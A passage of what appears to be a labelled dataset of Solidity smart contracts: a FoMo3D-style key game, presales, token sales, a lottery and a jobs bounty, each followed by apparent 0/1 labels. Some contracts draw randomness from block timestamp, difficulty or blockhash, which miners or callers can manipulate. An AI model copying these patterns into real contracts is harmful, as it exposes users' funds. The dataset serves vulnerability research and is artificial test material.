verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
54
pragma solidity ^0.4.17; contract AvPresale { string public constant RELEASE = "0.2.2_AviaTest"; uint public constant PRESALE_START = 5307500; uint public constant PRESALE_END = 5309227; uint public constant WITHDRAWAL_END = 5314027; address public constant OWNER = 0x32Bac79f4B6395DEa37f0c2B68b6e26ce24a59EA; uint public constant MIN_TOTAL_AMOUNT_GET_ETH = 1; uint public constant MAX_TOTAL_AMOUNT_GET_ETH = 2; uint public constant MIN_GET_AMOUNT_FINNEY = 10; string[5] private standingNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "MONEY_BACK_RUNNING", "CLOSED" ]; enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, MONEY_BACK_RUNNING, CLOSED } uint public total_amount = 0; uint public total_money_back = 0; mapping (address => uint) public balances; uint private constant MIN_TOTAL_AMOUNT_GET = MIN_TOTAL_AMOUNT_GET_ETH * 1 ether; uint private constant MAX_TOTAL_AMOUNT_GET = MAX_TOTAL_AMOUNT_GET_ETH * 1 ether; uint private constant MIN_GET_AMOUNT = MIN_GET_AMOUNT_FINNEY * 1 finney; bool public isTerminated = false; bool public isStopped = false; function AvPresale () public checkSettings() { } function sendMoneyOwner() external inStanding(State.WITHDRAWAL_RUNNING) onlyOwner noReentrancy { OWNER.transfer(this.balance); } function moneyBack() external inStanding(State.MONEY_BACK_RUNNING) noReentrancy { sendMoneyBack(); } function () payable noReentrancy public { State state = currentStanding(); if (state == State.PRESALE_RUNNING) { getMoney(); } else if (state == State.MONEY_BACK_RUNNING) { sendMoneyBack(); } else { revert(); } } function termination() external inStandingBefore(State.MONEY_BACK_RUNNING) onlyOwner { isTerminated = true; } function stop() external inStanding(State.PRESALE_RUNNING) onlyOwner { isStopped = true; } function standing() external constant returns (string) { return standingNames[ uint(currentStanding()) ]; } function getMoney() private notTooSmallAmountOnly { if (total_amount + msg.value > MAX_TOTAL_AMOUNT_GET) { var change_to_return = total_amount + msg.value - MAX_TOTAL_AMOUNT_GET; var acceptable_remainder = MAX_TOTAL_AMOUNT_GET - total_amount; balances[msg.sender] += acceptable_remainder; total_amount += acceptable_remainder; msg.sender.transfer(change_to_return); } else { balances[msg.sender] += msg.value; total_amount += msg.value; } } function sendMoneyBack() private tokenHoldersOnly { uint amount_to_money_back = min(balances[msg.sender], this.balance - msg.value) ; balances[msg.sender] -= amount_to_money_back; total_money_back += amount_to_money_back; msg.sender.transfer(amount_to_money_back + msg.value); } function currentStanding() private constant returns (State) { if (isTerminated) { return this.balance > 0 ? State.MONEY_BACK_RUNNING : State.CLOSED; } else if (block.number < PRESALE_START) { return State.BEFORE_START; } else if (block.number <= PRESALE_END && total_amount < MAX_TOTAL_AMOUNT_GET && !isStopped) { return State.PRESALE_RUNNING; } else if (this.balance == 0) { return State.CLOSED; } else if (block.number <= WITHDRAWAL_END && total_amount >= MIN_TOTAL_AMOUNT_GET) { return State.WITHDRAWAL_RUNNING; } else { return State.MONEY_BACK_RUNNING; } } function min(uint a, uint b) pure private returns (uint) { return a < b ? a : b; } modifier inStanding(State state) { require(state == currentStanding()); _; } modifier inStandingBefore(State state) { require(currentStanding() < state); _; } modifier tokenHoldersOnly(){ require(balances[msg.sender] > 0); _; } modifier notTooSmallAmountOnly(){ require(msg.value >= MIN_GET_AMOUNT); _; } bool private lock = false; modifier noReentrancy() { require(!lock); lock = true; _; lock = false; } modifier checkSettings() { if ( OWNER == 0x0 || PRESALE_START == 0 || PRESALE_END == 0 || WITHDRAWAL_END ==0 || PRESALE_START <= block.number || PRESALE_START >= PRESALE_END || PRESALE_END >= WITHDRAWAL_END || MIN_TOTAL_AMOUNT_GET > MAX_TOTAL_AMOUNT_GET ) revert(); _; } modifier onlyOwner(){ require(msg.sender == OWNER); _; } }
1
2,972
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; modifier canMint() { require(!mintingFinished); _; } modifier onlySaleAgent() { require(msg.sender == saleAgent); _; } function setSaleAgent(address newSaleAgent) public onlyOwner { saleAgent = newSaleAgent; } function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() public onlySaleAgent returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract AgroTechFarmToken is MintableToken { string public constant name = "Agro Tech Farm"; string public constant symbol = "ATF"; uint32 public constant decimals = 18; } contract preSale4 is Ownable { using SafeMath for uint; AgroTechFarmToken public token; bool public preSale4Finished = false; address public multisig; address public preSale = 0x02Dcc61022771015b1408323D29C790066CBe2e4; address public preSale1 = 0xfafbb19945fc2d79828e4c5813a619d5683074ba; address public preSale2 = 0x62451D37Ca2EC1f0499996Bc3C7e2BAF258E9729; address public preSale3 = 0x72636c350431895fc6ee718b92bcc5b4fbd70304; uint public rate; uint public start; uint public end; uint public hardcap; address public restricted; uint public restrictedPercent; function preSale4() public { token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff); multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127; rate = 83333333333000000000; start = 1522047600; end = 1523336400; hardcap = 500000000000000000000; restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6; restrictedPercent = 35; } modifier saleIsOn() { require(now > start && now < end); _; } modifier isUnderHardCap() { require(this.balance <= hardcap); _; } function balancePreSale4() public constant returns (uint) { return this.balance; } function finishPreSale4() public onlyOwner returns (bool) { if(now > end || this.balance >= hardcap) { multisig.transfer(this.balance); preSale4Finished = true; return true; } else return false; } function createTokens() public isUnderHardCap saleIsOn payable { uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = tokens.mul(30).div(100); tokens += bonusTokens; token.mint(msg.sender, tokens); uint restrictedTokens = tokens.mul(restrictedPercent).div(100); token.mint(restricted, restrictedTokens); } function() external payable { createTokens(); } }
0
1,920
pragma solidity ^0.4.19; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } event OwnershipTransferred(address indexed from, address indexed to); function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract TokenInterface { function transfer(address to, uint256 value) public returns (bool); } contract ICO is Ownable { using SafeMath for uint256; string public website = "www.propvesta.com"; uint256 public rate; uint256 public tokensSold; address public fundsWallet = 0x304f970BaA307238A6a4F47caa9e0d82F082e3AD; TokenInterface public constant PROV = TokenInterface(0x409Ec1FCd524480b3CaDf4331aF21A2cB3Db68c9); function ICO() public { rate = 20000000; } function changeRate(uint256 _newRate) public onlyOwner { require(_newRate > 0 && rate != _newRate); rate = _newRate; } function changeFundsWallet(address _fundsWallet) public onlyOwner returns(bool) { fundsWallet = _fundsWallet; return true; } event TokenPurchase(address indexed investor, uint256 tokensPurchased); function buyTokens(address _investor) public payable { require(msg.value >= 1e16); uint256 exchangeRate = rate; uint256 bonus = 0; uint256 investment = msg.value; uint256 remainder = 0; if(investment >= 1e18 && investment < 2e18) { bonus = 30; } else if(investment >= 2e18 && investment < 3e18) { bonus = 35; } else if(investment >= 3e18 && investment < 4e18) { bonus = 40; } else if(investment >= 4e18 && investment < 5e18) { bonus = 45; } else if(investment >= 5e18) { bonus = 50; } exchangeRate = rate.mul(bonus).div(100).add(rate); uint256 toTransfer = 0; if(investment > 10e18) { uint256 bonusCap = 10e18; toTransfer = bonusCap.mul(exchangeRate); remainder = investment.sub(bonusCap); toTransfer = toTransfer.add(remainder.mul(rate)); } else { toTransfer = investment.mul(exchangeRate); } PROV.transfer(_investor, toTransfer); TokenPurchase(_investor, toTransfer); tokensSold = tokensSold.add(toTransfer); fundsWallet.transfer(investment); } function() public payable { buyTokens(msg.sender); } function getTokensSold() public view returns(uint256) { return tokensSold; } event TokensWithdrawn(uint256 totalPROV); function withdrawPROV(uint256 _value) public onlyOwner { PROV.transfer(fundsWallet, _value); TokensWithdrawn(_value); } }
1
4,092
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Wallet is Ownable { using SafeMath for uint256; LotteryData public lotteryData; uint256 public minPaymnent = 10**16; function setMinPayment(uint256 value) public onlyOwner { minPaymnent = value; } constructor() public { lotteryData = LotteryData(msg.sender); } function() payable external { require(msg.value >= minPaymnent); lotteryData.participate(msg.sender, msg.value); } function finishDay() external returns(uint256) { require(msg.sender == address(lotteryData)); uint256 balance = address(this).balance; if (balance >= minPaymnent) { lotteryData.getFunds.value(balance)(); return balance; } else { return 0; } } } contract LotteryData is Ownable { using SafeMath for uint256; event Withdrawn(address indexed payee, uint256 weiAmount); event Deposited(address indexed payee, uint256 weiAmount); event WinnerWallet(address indexed wallet, uint256 bank); Wallet public wallet_0 = new Wallet(); Wallet public wallet_1 = new Wallet(); Wallet public wallet_2 = new Wallet(); uint256 public finishTime; uint256 constant roundTime = 86400; uint internal dilemma; uint internal max_participators = 100; uint internal participators; uint internal randNonce = 19; uint internal winner; uint internal winner_1; uint internal winner_2; uint256 internal fund; uint256 internal commission; uint256 internal totalBetsWithoutCommission; mapping(uint => address) public wallets; mapping(address => mapping (address => uint256)) public playersBets; mapping(address => mapping (uint => address)) public players; mapping(address => uint256) public totalBets; mapping(address => uint) public totalPlayers; mapping(address => uint256) private _deposits; uint public games; struct wins{ address winner; uint256 time; } mapping(uint => wins) public gamesLog; constructor() public { wallets[0] = address(wallet_0); wallets[1] = address(wallet_1); wallets[2] = address(wallet_2); finishTime = now.add(roundTime); } modifier validWallets() { require( msg.sender == address(wallet_0) || msg.sender == address(wallet_1) || msg.sender == address(wallet_2) ); _; } function depositsOf(address payee) public view returns (uint256) { return _deposits[payee]; } function deposit(address payee, uint256 amount) internal { _deposits[payee] = _deposits[payee].add(amount); emit Deposited(payee, amount); } function getFunds() public payable validWallets {} function lastWinner() public view returns(address) { return gamesLog[games].winner; } function getRandomWallet() internal returns(uint) { uint result = uint(keccak256(abi.encodePacked(now, randNonce, blockhash(block.number - 1)))) % 3; randNonce = randNonce.add(result.add(2)); return result; } function _fundriser() internal returns(uint256) { fund = fund.add(wallet_0.finishDay()); fund = fund.add(wallet_1.finishDay()); return fund.add(wallet_2.finishDay()); } function _randomizer() internal returns(uint) { winner = getRandomWallet(); if(totalPlayers[wallets[winner]] == 0) { dilemma = uint(keccak256(abi.encodePacked(now, winner, blockhash(block.number - 1)))) % 2; if(winner == 0) { if(dilemma == 1) { winner_1 = 2; winner_2 = 1; } else { winner_1 = 1; winner_2 = 2; } } if(winner == 1) { if(dilemma == 1) { winner_1 = 2; winner_2 = 0; } else { winner_1 = 0; winner_2 = 2; } } if(winner == 2) { if(dilemma == 1) { winner_1 = 1; winner_2 = 0; } else { winner_1 = 0; winner_2 = 1; } } winner = (totalPlayers[wallets[winner_1]] == 0) ? winner_2 : winner_1; } return winner; } function _distribute() internal { commission = fund.mul(15).div(100); totalBetsWithoutCommission = fund.sub(commission); deposit(owner, commission); for (uint i = 0; i < totalPlayers[wallets[winner]]; i++) { uint percents = playersBets[wallets[winner]][players[wallets[winner]][i]].mul(10000).div(totalBets[wallets[winner]]); deposit(players[wallets[winner]][i], totalBetsWithoutCommission.mul(percents).div(10000)); } } function _collector() internal { fund = 0; participators = 0; totalBets[wallets[0]] = 0; for (uint j = 0; j < 3; j++) { for (uint k = 0; k < totalPlayers[wallets[j]]; k++) { playersBets[wallets[j]][players[wallets[j]][k]] = 0; players[wallets[j]][k] = address(0x0); } totalBets[wallets[j]] = 0; totalPlayers[wallets[j]] = 0; } } function _logger(address _winner, uint256 _fund) internal { games = games + 1; gamesLog[games].winner =_winner; gamesLog[games].time = now; emit WinnerWallet(_winner, _fund); } function participate(address player, uint256 amount) external validWallets { if (now >= finishTime || participators >= max_participators) { fund = _fundriser(); if(fund > 0) { winner = _randomizer(); _distribute(); _collector(); _logger(wallets[winner], fund); } finishTime = finishTime.add(roundTime); } if (playersBets[msg.sender][player] == 0) { players[msg.sender][totalPlayers[msg.sender]] = player; totalPlayers[msg.sender] = totalPlayers[msg.sender].add(1); participators = participators.add(1); } playersBets[msg.sender][player] = playersBets[msg.sender][player].add(amount); totalBets[msg.sender] = totalBets[msg.sender].add(amount); } function withdraw() public { uint256 payment = _deposits[msg.sender]; _deposits[msg.sender] = 0; msg.sender.transfer(payment); emit Withdrawn(msg.sender, payment); } function paymentValidator(address _payee, uint256 _amount) internal { if(_payee != address(wallet_0) && _payee != address(wallet_1) && _payee != address(wallet_2)) { if(_amount == uint(0)) { if(depositsOf(_payee) != uint(0)) { withdraw(); } else { revert("You have zero balance"); } } else { revert("You can't do nonzero transaction"); } } } function() external payable { paymentValidator(msg.sender, msg.value); } }
1
3,830
pragma solidity ^0.4.24; contract ReentrancyGuard { uint private constant REENTRANCY_GUARD_FREE = 1; uint private constant REENTRANCY_GUARD_LOCKED = 2; uint private reentrancyLock = REENTRANCY_GUARD_FREE; modifier nonReentrant() { require(reentrancyLock == REENTRANCY_GUARD_FREE); reentrancyLock = REENTRANCY_GUARD_LOCKED; _; reentrancyLock = REENTRANCY_GUARD_FREE; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface ERC20 { function totalSupply() external view returns (uint supply); function balanceOf(address _owner) external view returns (uint balance); function transfer(address _to, uint _value) external returns (bool success); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function approve(address _spender, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract JobsBounty is Ownable, ReentrancyGuard { using SafeMath for uint256; string public companyName; string public jobPost; uint public endDate; address public INDToken; constructor(string _companyName, string _jobPost, uint _endDate, address _INDToken ) public{ companyName = _companyName; jobPost = _jobPost ; endDate = _endDate; INDToken = _INDToken; } function ownBalance() public view returns(uint256) { return SafeMath.div(ERC20(INDToken).balanceOf(this),1 ether); } function payOutBounty(address _referrerAddress, address _candidateAddress) external onlyOwner nonReentrant returns(bool){ assert(block.timestamp >= endDate); assert(_referrerAddress != address(0x0)); assert(_candidateAddress != address(0x0)); uint256 individualAmounts = SafeMath.mul(SafeMath.div((ERC20(INDToken).balanceOf(this)),100),50); assert(ERC20(INDToken).transfer(_candidateAddress, individualAmounts)); assert(ERC20(INDToken).transfer(_referrerAddress, individualAmounts)); return true; } function withdrawERC20Token(address anyToken) external onlyOwner nonReentrant returns(bool){ assert(block.timestamp >= endDate); assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this))); return true; } function withdrawEther() external onlyOwner nonReentrant returns(bool){ if(address(this).balance > 0){ owner.transfer(address(this).balance); } return true; } }
0
1,701
